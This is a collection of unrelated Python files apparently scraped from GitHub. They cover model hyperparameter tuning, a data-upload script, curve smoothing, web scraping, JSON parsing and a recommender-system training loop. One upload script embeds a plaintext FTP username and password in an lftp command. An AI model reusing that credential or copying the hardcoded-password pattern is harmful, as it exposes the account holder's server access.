save_checkpoints_root,\n save_tb_root, save_tune_root, aug_folder_combinations, tune_gpu, tune_cpu, epochs,\n get_train_frame_func, get_protocol_frame_dic_func, get_stratified_name_col_func, process_dataset_metrics_func,tune_experiment_name=None,\n aug_percentages=None, repeat_run_list=None, train_subject_number=None,\n test_subject_number=None, must_resume_from_last_experiment=True, is_ray=True, n_k_folds=3,\n original_dataset_root=None, stratified_name_list_func=None, is_traditional=False,\n use_last_only=False,is_single_folder=True, include_traditional_aug=False, aug_after_split=False\n , must_remove_normal=False, mode_info=\"\", must_use_normal_only=False, error_only=False, use_hsv=False):\n if aug_percentages is None and repeat_run_list is None:\n raise TypeError(\"Please specify either the aug_percentages or repeat_run_list\")\n return\n\n # get the dataset name\n if \".csv\" not in dataset_csv_name:\n dataset_csv_name += \".csv\"\n\n dataset_name = os.path.basename(dataset_root)\n\n\n # test if the dataset creator csv file is present in the dataset root\n dataset_csv_location = os.path.join(dataset_root, dataset_csv_name)\n aug_csv_location = os.path.join(aug_root, aug_csv)\n if not os.path.exists(dataset_csv_location):\n raise TypeError(f\"Could not find the dataset csv file: {dataset_csv_location}\")\n\n if not os.path.exists(aug_csv_location) and aug_percentages is not None:\n raise TypeError(f\"Could not find the aug csv file: {aug_csv_location}\")\n\n tune_antispoof_csv = f\"{dataset_name}_antispoof_tune.csv\"\n\n training_type = \"\"\n if is_single_folder:\n training_type += \"Single\"\n else:\n training_type += \"Multi\"\n\n\n save_tune_root = os.path.join(save_tune_root, training_type)\n if tune_experiment_name is None:\n if must_resume_from_last_experiment:\n existing_dirs = []\n if os.path.exists(save_tune_root):\n existing_dirs = os.listdir(save_tune_root)\n\n if len(existing_dirs) > 0:\n # run from the last directory\n existing_dirs.sort(reverse=True)\n tune_experiment_name = os.path.basename(existing_dirs[0])\n\n if tune_experiment_name is None:\n tune_experiment_name = f\"{dataset_name}_antispoof_\" + datetime.now().strftime(\"%m_%d_%Y_%H_%M_%S\")\n\n save_metrics_root = os.path.join(save_metrics_root,training_type, tune_experiment_name)\n save_checkpoints_root = os.path.join(save_checkpoints_root,training_type, tune_experiment_name)\n save_tb_root = os.path.join(save_tb_root, training_type, tune_experiment_name)\n\n\n\n experiment_dirs = [save_metrics_root, save_checkpoints_root, save_tb_root, save_tune_root]\n # create the directories\n for _dir in experiment_dirs:\n if not os.path.exists(_dir):\n os.makedirs(_dir)\n # return\n k_fold_list = [i for i in range(n_k_folds)]\n tune_config = {\n \"HP_COMB\": tune.grid_search(aug_folder_combinations),\n # \"HP_COMB\": aug_folder_combinations[0],\n 'must_remove_normal' : must_remove_normal,\n \"epochs\": epochs,\n \"save_metrics_root\": save_metrics_root,\n \"save_checkpoints_root\": save_checkpoints_root,\n \"save_tb_root\": save_tb_root,\n \"dataset_root\": dataset_root,\n \"dataset_name\": dataset_name,\n \"dataset_csv_name\": dataset_csv_name,\n \"aug_root\": aug_root,\n \"aug_csv\": aug_csv,\n \"train_subject_number\" : train_subject_number,\n \"test_subject_number\" : test_subject_number,\n \"get_train_frame_func\": get_train_frame_func,\n \"get_protocol_frame_dic_func\": get_protocol_frame_dic_func,\n 'is_ray': is_ray,\n 'get_stratified_name_col_func': get_stratified_name_col_func,\n 'process_dataset_metrics_func': process_dataset_metrics_func,\n 'stratified_name_list_func': stratified_name_list_func,\n 'n_folds' : n_k_folds,\n 'current_fold': tune.grid_search(k_fold_list),\n 'HP_REPEAT': tune.grid_search(repeat_run_list),\n 'original_dataset_root': original_dataset_root,\n 'use_last_only': use_last_only,\n 'include_traditional_aug':include_traditional_aug,\n 'aug_after_split':aug_after_split,\n 'mode_info': mode_info,\n 'must_use_normal_only': must_use_normal_only,\n 'use_hsv': use_hsv,\n }\n\n if aug_percentages is None:\n tune_config[\"HP_AUG_PER\"] = tune.grid_search([0])\n else:\n tune_config[\"HP_AUG_PER\"] = tune.grid_search(aug_percentages)\n\n if is_ray:\n if error_only:\n analysis = tune.run(antispoof, config=tune_config, local_dir=save_tune_root, name=tune_experiment_name,\n resources_per_trial={\"cpu\": tune_cpu, \"gpu\": tune_gpu}, resume=\"ERRORED_ONLY\")\n else:\n analysis = tune.run(antispoof, config=tune_config, local_dir=save_tune_root, name=tune_experiment_name,\n resources_per_trial={\"cpu\": tune_cpu, \"gpu\": tune_gpu}, resume=\"AUTO\")\n df = analysis.results_df\n df.to_csv(os.path.join(save_tune_root,tune_experiment_name, tune_antispoof_csv))\n process_dataset_metrics_func(df, os.path.join(save_tune_root,tune_experiment_name))\n else:\n if aug_percentages is None:\n aug_per = 0\n else:\n aug_per = aug_percentages[0]\n for combination in aug_folder_combinations:\n antispoof({\n \"HP_COMB\": combination,\n 'must_remove_normal':must_remove_normal,\n \"epochs\": epochs,\n \"save_metrics_root\": save_metrics_root,\n \"save_checkpoints_root\": save_checkpoints_root,\n \"save_tb_root\": save_tb_root,\n \"dataset_root\": dataset_root,\n \"dataset_name\": dataset_name,\n \"dataset_csv_name\": dataset_csv_name,\n \"aug_root\": aug_root,\n \"aug_csv\": aug_csv,\n \"train_subject_number\" : train_subject_number,\n \"test_subject_number\" : test_subject_number,\n \"get_train_frame_func\": get_train_frame_func,\n \"get_protocol_frame_dic_func\": get_protocol_frame_dic_func,\n \"stratified_name_list_func\": stratified_name_list_func,\n \"HP_AUG_PER\": aug_per,\n \"HP_REPEAT\": 1,\n 'is_ray' : is_ray,\n 'get_stratified_name_col_func': get_stratified_name_col_func,\n 'process_dataset_metrics_func': process_dataset_metrics_func,\n 'n_folds' : n_k_folds,\n 'current_fold' : k_fold_list[0],\n 'original_dataset_root': original_dataset_root,\n 'use_last_only': use_last_only,\n 'include_traditional_aug': include_traditional_aug,\n 'aug_after_split': aug_after_split,\n 'mode_info':mode_info,\n 'must_use_normal_only': must_use_normal_only,\n 'use_hsv': use_hsv,\n\n })\n\n\n\n\n\n","repo_name":"Jayz-o/OrfaoDissertation","sub_path":"Antispoofing/AntispoofHelpers/hyper_perameter_helper.py","file_name":"hyper_perameter_helper.py","file_ext":"py","file_size_in_byte":23004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"11192075287","text":"#!/usr/bin/python3\n\n# lftp impacts@ghrc.nsstc.nasa.gov\n# cd goes16-2023/Mesoscale-1\n# lcd /home/disk/bob/impacts/raw/goes16/Mesoscale-1\n# mirror -R\n\nimport os\n\ninDirBase = '/home/disk/bob/impacts/daac/WRF'\n\nfor init in os.listdir(inDirBase):\n if (init.startswith('GFS') or init.startswith('NAM') ) and os.path.isdir(inDirBase+'/'+init):\n initDir = inDirBase+'/'+init\n for date in os.listdir(initDir):\n if date.startswith('202') and os.path.isdir(initDir+'/'+date):\n dateDir = initDir+'/'+date\n os.chdir(dateDir)\n command = 'lftp -c \"open ftp://impacts:snowfallATLANTIC2020\\!@ghrc.nsstc.nasa.gov; cd wrf-2023; cd '+init+'; cd '+date+'; mirror -R\"'\n os.system(command)\n","repo_name":"srbrodzik/impacts-scripts","sub_path":"lftp_to_daac_wrf.py","file_name":"lftp_to_daac_wrf.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"31340210251","text":"#!/usr/bin/env python3\n\n#********* data analysis functions *********#\n# transform data to a smooth curve\n# 1. fitting: use least-square curve fitting\n# 2. smooth_SG: smooth curve by locally fitting\n# 3. smooth_AA: sum[i-hw:i+hw] or running avg\n\ndef func_fitted(x, a, b, c): # fitting curves\n return a + b * x**c\ndef fitting(x, y):\n import scipy.optimize as opt\n return opt.curve_fit(func_fitted, x, y, guess0)[0]\n\ndef smooth_SG(x, pwin=41, pord=2): # smooth data by Savitzky-Golay\n from scipy.signal import savgol_filter\n return savgol_filter(x, pwin, pord)\n\ndef smooth_AA(x, pwin=41): # smooth data by adjacent averaging\n import numpy\n hw= int(pwin/2.0) # half window\n smoothed= []\n for i in range(len(x)):\n smoothed.extend(numpy.mean(x[max(0, i-hw):min(len(x), i+hw+1)]))\n return smoothed\n#####***** data analysis functions *****#####\n\nfrom sys import argv\nfrom os.path import isfile\n\nif len(argv) != 2 and len(argv) != 3:\n print(\"\\nSmooth curve by Savitzky-Golay or adjacent averaging\")\n exit(\"Usage: %s name(optional)\\n\" % argv[0])\n\n# input parameters\nN_col= input(\"Insert number of columns\\n\")\ndata= []\nfor i in range(int(N_col)): data.append([])\n\nin_isc= input(\"Do you need chop vacuum data (rm zeros)? (yes/no)\\n\")\nif in_isc==\"yes\": is_chop= True\nelse: is_chop= False\n\nin_pwin= input(\"Insert number of points of window (dafault:41)\\n\")\nif in_pwin.isdigit(): N_pwin= int(in_pwin)\nelse: N_pwin= 41\n\n# open output file\nname_out= \"out\"\nif len(argv)==3: name_out= name_out + argv[2]\nOFILE= open(name_out, \"w\")\n\n# read\nif not isfile(argv[1]): exit(\"%s doesn\\'t exist!\" % argv[1])\nwith open(argv[1], \"r\") as IFILE: # Reading his file\n for line in IFILE:\n indata = line.strip().split()\n for i in range(len(data)):\n data[i].append(float(indata[i]))\n\n#chop zero\nTOL_BOUND= 0.05 # smaller than this considerd vacuum\nleft= -1; right= len(data[-1]) \nfor i in range(len(data[-1])):\n if data[-1][i]>TOL_BOUND: left = i; break\nfor i in range(len(data[-1])-1, -1, -1):\n if data[-1][i]>TOL_BOUND: right= i; break\n\n# calculate\nif is_chop:\n dataSM= [0]*left\n dataSM.extend(smooth_SG(data[-1][left:right+1], N_pwin))\n dataSM.extend([0]*(len(data[-1])-right-1))\nelse:\n dataSM= smooth_SG(data[-1], N_pwin)\n\nif len(dataSM) != len(data[0]): print(\"wrong dataSM: \", len(dataSM), len(data[0]))\n# output\nfor i in range(len(data[0])):\n for j in range(len(data)-1):\n print(data[j][i], end=\" \", file= OFILE)\n print(dataSM[i], file= OFILE)\n\n","repo_name":"skyhuang1208/kmctools_surface","sub_path":"data_smooth.py","file_name":"data_smooth.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"2581388143","text":"from bs4 import BeautifulSoup\nimport requests\nfrom tqdm import tqdm\nimport csv\n\n\nURL = \"https://ignition.devpost.com/project-gallery\"\nN_PAGES = 21\nOUTER_CLASS = \"large-4 small-12 columns gallery-item\"\nINNER_CLASS = \"software-entry-name entry-body\"\nLINK_CLASS = \"block-wrapper-link fade link-to-software\"\nLIKE_CLASS = \"count like-count\"\nOUTFILE_HEADERS= ['name', 'url', 'likes', 'description']\n\npage_urls = []\nfor n in range(1,N_PAGES+1):\n page_urls.append(URL + f'?page={n}')\n\nnames = []\nurls = []\nlikes = []\ndescriptions = []\n\nprint('scraping project data...')\nfor _url in tqdm(page_urls):\n page = requests.get(_url).content\n soup = BeautifulSoup(page, 'html.parser')\n entries = soup.find_all(class_=OUTER_CLASS)\n\n for entry in entries:\n data = entry.find(class_=LINK_CLASS)\n\n urls.append(data.get('href'))\n likes.append(int(data.footer.find(class_=LIKE_CLASS).get_text().strip(' \\n')))\n names.append(data.find(class_=INNER_CLASS).h5.get_text().strip(' \\n'))\n descriptions.append(data.find(class_=INNER_CLASS).p.get_text().strip(' \\n'))\n\n# -- debugging --\n# print(names)\n# print(urls)\n# print(likes)\n# print(descriptions)\n\nproject_data = set(zip(names, urls, likes, descriptions))\n# print(project_data)\n\nprint('saving data to csv...')\nwith open('projects.csv','w') as out:\n csv_out = csv.writer(out)\n csv_out.writerow(OUTFILE_HEADERS)\n for row in tqdm(list(project_data)):\n csv_out.writerow(row)\n\nprint('done!')\n\n\n\n\n","repo_name":"jeremyongws/ignition-scrape","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"20978384141","text":"import json\nimport jsonschema\nfrom jsonschema import validate\n\n\nclass JsonProcessing:\n \"\"\"\n A class to represent a data file JSON.\n \"\"\"\n def __init__(self, json_content):\n self.json_content = json_content\n\n def validate(self):\n \"\"\"\n Checks if the json file matches the pattern in the \"schema.json\" file.\n :param: JSON file\n :return: (bool) True or False\n \"\"\"\n json_data = self.json_content\n\n with open('schema.json', 'r') as scheme:\n googleapis_schema = json.load(scheme)\n try:\n validate(instance=json_data, schema=googleapis_schema)\n except jsonschema.exceptions.ValidationError:\n return False\n return True\n\n def parse_and_extract(self):\n \"\"\"\n Parse JSON content from www.googleapis.com/books/v1/volumes and extracts relevant data.\n :param: JSON content\n :return parsed_data: a list of volumes\n \"\"\"\n list_of_volume_info = []\n for item in self.json_content['items']:\n auxiliary_list = []\n for info in item:\n if info == 'volumeInfo' or info == 'id':\n auxiliary_list.append(item[info])\n\n auxiliary_list[1]['bookid'] = auxiliary_list[0]\n list_of_volume_info.append(auxiliary_list[1])\n\n searched_information = [\"title\", \"authors\", \"published_date\", \"categories\",\n \"average_rating\", \"ratings_count\", \"thumbnail\", \"bookid\"]\n\n extracted_data = []\n for raw_information in list_of_volume_info:\n needed_info = {}\n for info in raw_information:\n\n if info in searched_information:\n needed_info[info] = raw_information[info]\n elif info == \"imageLinks\":\n needed_info[\"thumbnail\"] = raw_information[info][\"thumbnail\"]\n elif info in [\"publishedDate\", \"averageRating\", \"ratingsCount\"]:\n for char in info:\n if char != char.lower():\n needed_info[info.replace(char, \"_\"+char.lower())] = raw_information[info]\n\n extracted_data.append(needed_info)\n\n parsed_data = []\n for book in extracted_data:\n parsed_data.append(self.add_missing_info(book, searched_information))\n return parsed_data\n\n @staticmethod\n def add_missing_info(book_information, searched_information):\n \"\"\"\n parse_and_extract() helper.\n \"\"\"\n for info in searched_information:\n if info not in book_information:\n if info in ['average_rating', 'ratings_count']:\n book_information[info] = None\n elif info in ['authors', 'categories']:\n book_information[info] = []\n else:\n book_information[info] = \"\"\n\n return book_information\n","repo_name":"czesky90/books-rest-api","sub_path":"app/json_processing.py","file_name":"json_processing.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"12858715895","text":"#!/usr/bin/env python3\r\n\r\n#splitting the numbers at a space; specifically said to separate with a space for user clarity.\r\nnum1, num2 = input(\"Please enter two numbers and separate them with a space. \").split()\r\n\r\n#converting to integers\r\nnum1 = (int(num1))\r\nnum2 = (int(num2))\r\n\r\n#printing out numbers to make sure user knows what they entered.\r\nprint(\"First number: \" + str(num1))\r\nprint(\"Second number: \" + str(num2))\r\n#function to do calculations so it can be called\r\ndef numbercheck():\r\n a = num1 % 3\r\n if a == 0:\r\n print(\"The first number is divisible by three \" + str((num1/3)) + \" times.\")\r\n else:\r\n print(\"The first number is NOT divisible by three.\")\r\n\r\n b = num2 % 3\r\n if a == 0:\r\n print(\"The second number is divisible by three \" + str(round((num2/3), 1)) + \" times.\")\r\n else:\r\n print(\"The second number is NOT divisible by three.\")\r\n\r\nnumbercheck()","repo_name":"sophtank/binf-2111","sub_path":"lab10/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"74188693387","text":"#!/usr/bin/env python\n\n# distance between two atoms\n# input the two coordinates[x,y,z]\ndef distance(coord1, coord2):\n dist = 0.0\n for i in range(3):\n dist += (coord1[i] - coord2[i])**2.0\n dist = dist**0.5\n return dist\n\n# geometric center of a molecule\n# input the coordinates [[x1,y1,z1], [x2,y2,z2], ...]\ndef geom_center(coord):\n geocent = [0.0, 0.0, 0.0]\n leng = len(coord)\n for i in range(leng):\n for j in range(3):\n geocent[j] += coord[i][j]/leng\n return geocent\n","repo_name":"yang2076/AMOEBA_Seminario","sub_path":"src/geomFunction.py","file_name":"geomFunction.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"38118200643","text":"# coding=UTF-8\nimport torch as t\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.data as dataloader \nimport torch.optim as optim\nimport pickle\nimport random\nimport numpy as np\nimport time\nimport dgl\nfrom dgl import DGLGraph\nimport scipy.sparse as sp\nfrom scipy.sparse import csr_matrix\nimport argparse\nimport os\n\nfrom ToolScripts.TimeLogger import log\nfrom ToolScripts.tools import sparse_mx_to_torch_sparse_tensor\nfrom Interface.BPRData import BPRData \nimport Interface.evaluate as evaluate\nfrom model import MODEL\nfrom MV_MIL.informax import Informax\n\nmodelUTCStr = str(int(time.time()))\ndevice_gpu = t.device(\"cuda\")\n\n\nisLoadModel = False\nLOAD_MODEL_PATH = r\"SR-HAN_Yelp_1599990303_hide_dim_8_layer_dim_[8,8,8]_lr_0.05_reg_0.02_topK_10_lambda1_0_lambda2_0\"\n\n\nclass Hope():\n def __init__(self,args,data,metaPath,subGraph):\n self.args = args \n self.metaPath = metaPath\n\n #train data and test data\n trainMat, testData, _, _, _ = data\n self.userNum, self.itemNum = trainMat.shape\n train_coo = trainMat.tocoo()\n train_u, train_v, train_r = train_coo.row, train_coo.col, train_coo.data\n assert np.sum(train_r == 0) == 0\n train_data = np.hstack((train_u.reshape(-1,1),train_v.reshape(-1,1))).tolist()#//(u,v)list\n test_data = testData\n \n train_dataset = BPRData(train_data, self.itemNum, trainMat, 1, True) #num_negtive samples\n test_dataset = BPRData(test_data, self.itemNum, trainMat, 0, False)\n self.train_loader = dataloader.DataLoader(train_dataset, batch_size=self.args.batch, shuffle=True, num_workers=0) \n self.test_loader = dataloader.DataLoader(test_dataset, batch_size=1024*1000, shuffle=False,num_workers=0) #test batch=1024\n\n #user metaPath: UU UIU UITIU ITI IUI\n self.uu_graph = dgl.graph(self.metaPath['UU'], ntype='user', etype='social')\n self.uiu_graph = dgl.graph(self.metaPath['UIU'], ntype='user', etype='rating')\n self.uitiu_graph = dgl.graph(self.metaPath['UITIU'], ntype='user', etype='rating') \n # self.user_graph =[self.uu_graph, self.uiu_graph, self.uitiu_graph] #7 cases\n\n #item metapath IUI ITI\n self.iti_graph = dgl.graph(self.metaPath['ITI'], ntype='item', etype='category')\n self.iui_graph = dgl.graph(self.metaPath['IUI'], ntype='item', etype='raitng')\n # self.item_graph =[self.iui_graph, self.iti_graph] #3 cases\n \n #according args to append metapath graph to user graph or item graph\n self.graph_dict={}\n self.graph_dict['uu']=self.uu_graph\n self.graph_dict['uiu']=self.uiu_graph\n self.graph_dict['uitiu']=self.uitiu_graph\n self.graph_dict['iui']=self.iui_graph\n self.graph_dict['iti']=self.iti_graph\n\n print(\"user metaPath: \"+self.args.user_graph_indx)\n user_graph_list = self.args.user_graph_indx.split('_')\n self.user_graph = []\n for i in range(len(user_graph_list)):\n self.user_graph.append(self.graph_dict[user_graph_list[i]])\n\n print(\"item metaPath: \"+self.args.item_graph_indx)\n item_graph_list = self.args.item_graph_indx.split('_')\n self.item_graph = []\n for i in range(len(item_graph_list)):\n self.item_graph.append(self.graph_dict[item_graph_list[i]])\n del self.graph_dict, self.uu_graph, self.uiu_graph, self.uitiu_graph, self.iui_graph, self.iti_graph\n \n #informax\n if self.args.informax == 1:\n (self.ui_graphAdj,self.ui_subGraphAdj) = subGraph\n self.ui_subGraphAdj_Tensor = sparse_mx_to_torch_sparse_tensor(self.ui_subGraphAdj).cuda()\n self.ui_subGraphAdj_Norm =t.from_numpy(np.sum(self.ui_subGraphAdj,axis=1)).float().cuda()\n self.ui_graph = DGLGraph(self.ui_graphAdj)\n\n #data for plot \n self.train_losses = []\n self.test_hr = []\n self.test_ndcg = []\n \n def prepareModel(self):\n np.random.seed(args.seed)\n t.manual_seed(args.seed)\n t.cuda.manual_seed(args.seed)\n random.seed(args.seed)\n self.out_dim = self.args.hide_dim + sum(eval(self.args.layer_dim))\n #metapath encoder model\n self.model = MODEL(len(self.user_graph),\n len(self.item_graph),\n self.userNum,\n self.itemNum,\n self.args.hide_dim,\n eval(self.args.layer_dim)).cuda()\n #informax\n if self.args.informax == 1:\n if self.args.informax_graph_act == 'sigmoid':\n informaxGraphAct = nn.Sigmoid()\n elif self.args.informax_graph_act == 'tanh':\n informaxGraphAct = nn.Tanh()\n print('informax graph-level Act funciton: '+self.args.informax_graph_act )\n self.ui_informax = Informax(self.ui_graph,self.out_dim, self.out_dim, nn.PReLU(), informaxGraphAct,self.ui_graphAdj).cuda()\n self.opt = optim.Adam([\n {'params':self.model.parameters(),'weight_decay':0},\n {'params':self.ui_informax.parameters(),'weight_decay':0},\n ],lr=self.args.lr)\n else:\n self.opt = optim.Adam(self.model.parameters(),lr=self.args.lr)\n\n def predictModel(self,user, pos_i, neg_j, isTest=False):\n if isTest:\n pred_pos = t.sum(user * pos_i, dim=1)\n return pred_pos\n else:\n pred_pos = t.sum(user * pos_i, dim=1)\n pred_neg = t.sum(user * neg_j, dim=1)\n return pred_pos, pred_neg\n\n def adjust_learning_rate(self):\n # lr = self.lr * (self.args.decay**epoch)\n if self.opt != None:\n for param_group in self.opt.param_groups:\n param_group['lr'] = max(param_group['lr'] * self.args.decay, self.args.minlr)\n # print(param_group['lr'])\n\n def getModelName(self):\n title = \"SR-HAN\" + \"_\"\n ModelName = title + self.args.dataset + \"_\" + modelUTCStr +\\\n \"_hide_dim_\" + str(self.args.hide_dim) +\\\n \"_layer_dim_\" + str(self.args.layer_dim) +\\\n \"_lr_\" + str(self.args.lr) +\\\n \"_reg_\" + str(self.args.reg) +\\\n \"_topK_\" + str(self.args.topk) +\\\n \"_graph_\" + str(self.args.user_graph_indx) +\"_\"+ str(self.args.item_graph_indx) +\\\n \"_useInformax_\" + str(self.args.informax) +\\\n \"_\"+str(self.args.k_hop_num) + \"hopSubGraph\"+\\\n \"_lambda1_\" + str(self.args.lambda1) +\\\n \"_lambda2_\" + str(self.args.lambda2)\n return ModelName\n\n def saveHistory(self): \n history = dict()\n history['loss'] = self.train_losses\n history['hr'] = self.test_hr\n history['ndcg'] = self.test_ndcg\n ModelName = self.getModelName()\n\n with open(r'./History/' + dataset + r'/' + ModelName + '.his', 'wb') as fs:\n pickle.dump(history, fs)\n\n def saveModel(self): \n ModelName = self.getModelName()\n history = dict()\n history['loss'] = self.train_losses\n history['hr'] = self.test_hr\n history['ndcg'] = self.test_ndcg\n savePath = r'./Model/' + dataset + r'/' + ModelName + r'.pth'\n params = {\n 'model': self.model,\n 'epoch': self.curEpoch,\n 'args': self.args,\n 'opt': self.opt,\n 'history':history\n }\n t.save(params, savePath)\n log(\"save model : \" + ModelName)\n\n def loadModel(self, modelPath):\n checkpoint = t.load(r'./Model/' + dataset + r'/' + modelPath + r'.pth')\n self.curEpoch = checkpoint['epoch'] + 1\n self.model = checkpoint['model']\n self.args = checkpoint['args']\n self.opt = checkpoint['opt']\n\n history = checkpoint['history']\n self.train_losses = history['loss']\n self.test_hr = history['hr']\n self.test_ndcg = history['ndcg']\n log(\"load model %s in epoch %d\"%(modelPath, checkpoint['epoch']))\n\n def trainModel(self):\n epoch_loss = 0\n epoch_informax_loss=0\n self.train_loader.dataset.ng_sample() \n for user, item_i, item_j in self.train_loader: \n ##a batch\n bpr_loss = 0\n\n user = user.long().cuda() \n item_i =item_i.long().cuda()\n item_j = item_j.long().cuda()\n self.userEmbed,self.itemEmbed = self.model(self.user_graph, self.item_graph)\n\n #predict\n pred_pos, pred_neg = self.predictModel(self.userEmbed[user], self.itemEmbed[item_i], self.itemEmbed[item_j])\n bprloss = -(pred_pos.view(-1) - pred_neg.view(-1)).sigmoid().log().sum()\n bpr_loss += bprloss\n \n epoch_loss += bpr_loss.item()\n regLoss=(t.norm(self.userEmbed[user])**2+t.norm(self.itemEmbed[item_i])**2+t.norm(self.itemEmbed[item_j])**2) \n loss = 0.5*(bpr_loss + regLoss*self.args.reg)/self.args.batch\n\n #DGIloss \n if self.args.informax == 1:\n ui_informax_loss = 0\n self.allEmbed = t.cat([self.userEmbed,self.itemEmbed],dim=0) \n if self.args.lambda1 != 0 or self.args.lambda2 != 0:\n res = self.ui_informax(self.allEmbed, self.ui_subGraphAdj, self.ui_subGraphAdj_Tensor,self.ui_subGraphAdj_Norm)\n Mask = t.zeros((self.userNum+self.itemNum)).cuda()\n Mask[user]=1\n Mask[self.userNum+item_i] = 1\n Mask[self.userNum+item_j] = 1\n informax_loss = self.args.lambda1*(((Mask*res[0]).sum()+(Mask*res[1]).sum())/t.sum(Mask))\\\n +self.args.lambda2*(((Mask*res[2]).sum()+(Mask*res[3]).sum())/t.sum(Mask)+res[4])\n epoch_informax_loss += informax_loss.item()\n loss = loss + informax_loss \n self.opt.zero_grad()\n loss.backward()\n self.opt.step()\n return epoch_loss \n\n def testModel(self):\n HR=[]\n NDCG=[]\n with t.no_grad():\n self.userEmbed,self.itemEmbed = self.model(self.user_graph, self.item_graph)\n\n for test_u, test_i in self.test_loader:\n test_u = test_u.long().cuda()\n test_i = test_i.long().cuda()\n pred = self.predictModel(self.userEmbed[test_u], self.itemEmbed[test_i], None, isTest=True)\n batch = int(test_u.cpu().numpy().size/100)\n for i in range(batch):\n batch_socres=pred[i*100:(i+1)*100].view(-1)\n _,indices=t.topk(batch_socres,self.args.topk) \n tmp_item_i=test_i[i*100:(i+1)*100]\n recommends=t.take(tmp_item_i,indices).cpu().numpy().tolist()\n gt_item=tmp_item_i[0].item()\n HR.append(evaluate.hit(gt_item,recommends))\n NDCG.append(evaluate.ndcg(gt_item,recommends))\n return np.mean(HR),np.mean(NDCG)\n\n def run(self):\n self.prepareModel()\n if isLoadModel:\n self.loadModel(LOAD_MODEL_PATH)\n HR,NDCG = self.testModel()\n log(\"HR@10=%.4f, NDCG@10=%.4f\"%(HR, NDCG))\n return \n \n loss = 0\n self.curEpoch = 0\n best_hr=-1\n best_ndcg=-1\n best_epoch=-1\n\n wait=0\n\n for e in range(args.epochs+1):\n self.curEpoch = e\n #train\n log(\"**************************************************************\")\n epoch_loss = self.trainModel()\n self.train_losses.append(epoch_loss)\n log(\"epoch %d/%d, epoch_loss=%.2f\"%(e, args.epochs, epoch_loss))\n\n #test\n HR, NDCG = self.testModel()\n self.test_hr.append(HR)\n self.test_ndcg.append(NDCG)\n log(\"epoch %d/%d, HR@10=%.4f, NDCG@10=%.4f\"%(e, args.epochs, HR, NDCG))\n\n self.adjust_learning_rate() \n if HR>best_hr:\n best_hr,best_ndcg,best_epoch=HR,NDCG,e\n wait=0\n self.saveModel()\n else:\n wait+=1\n print('wait=%d'%(wait))\n \n self.saveHistory()\n if wait==self.args.patience:\n log('Early stop! best epoch = %d'%(best_epoch))\n self.loadModel(self.getModelName())\n break\n\n print(\"*****************************\")\n log(\"best epoch = %d, HR= %.4f, NDCG=%.4f\"% (best_epoch,best_hr,best_ndcg)) \n print(\"*****************************\") \n print(self.args)\n log(\"model name : %s\"%(self.getModelName()))\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='SR-HAN main.py')\n parser.add_argument('--dataset', type=str, default='CiaoDVD')\n parser.add_argument('--batch', type=int, default=8192, metavar='N', help='input batch size for training')\n parser.add_argument('--seed', type=int, default=29, metavar='int', help='random seed')\n parser.add_argument('--decay', type=float, default=0.97, metavar='LR_decay', help='decay')\n parser.add_argument('--lr', type=float, default=0.05, metavar='LR', help='learning rate')\n parser.add_argument('--minlr', type=float,default=0.0001)\n parser.add_argument('--reg', type=float, default=0.05) \n parser.add_argument('--epochs', type=int, default=400, metavar='N', help='number of epochs to train')\n parser.add_argument('--patience', type=int, default=5, metavar='int', help='early stop patience')\n parser.add_argument('--topk', type=int, default=10)\n parser.add_argument('--hide_dim', type=int, default=16, metavar='N', help='embedding size')\n parser.add_argument('--layer_dim',nargs='?', default='[16]', help='Output size of every layer') \n parser.add_argument('--user_graph_indx', nargs=r\"?\", default=\"uu_uiu_uitiu\", help='user graph')\n parser.add_argument('--item_graph_indx', nargs=r\"?\", default=\"iui_iti\", help='item graph')\n parser.add_argument('--gcn_act', default='prelu',help='metaPath gcn activation function')\n #informax\n parser.add_argument('--informax', type=int, default=1, help=\"whether use informax model block\")\n parser.add_argument('--informax_graph_act',default='sigmoid',help='informax graph activation function')\n parser.add_argument('--lambda1', type=float, default=0.06, help='weight of loss with informax')\n parser.add_argument('--lambda2', type=float, default=0.002, help='weight of loss with informax')\n parser.add_argument('--k_hop_num',type=int,default=2,help='k-hop of subgraph')\n\n args = parser.parse_args()\n print(args)\n dataset = args.dataset\n\n with open(r'dataset/'+args.dataset+'/metaPath.pkl', 'rb') as fs:\n metaPath = pickle.load(fs)\n with open(r'dataset/'+args.dataset+'/data.pkl', 'rb') as fs:\n data = pickle.load(fs)\n\n subGraphPath=r'dataset/'+args.dataset+'/'+str(args.k_hop_num)+'hop_ui_subGraph.pkl'\n if not os.path.exists(subGraphPath):\n print('please run '+'dataset/'+args.dataset+'/GenerateSubGraph.py first!')\n exit()\n else: \n with open(subGraphPath,'rb') as fs:\n subGraph = pickle.load(fs)\n hope = Hope(args,data,metaPath,subGraph)\n\n modelName = hope.getModelName()\n print('ModelName = ' + modelName) \n hope.run()\n \n\n \n\n \n\n","repo_name":"SocialRecsys/SMIN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15328,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"}
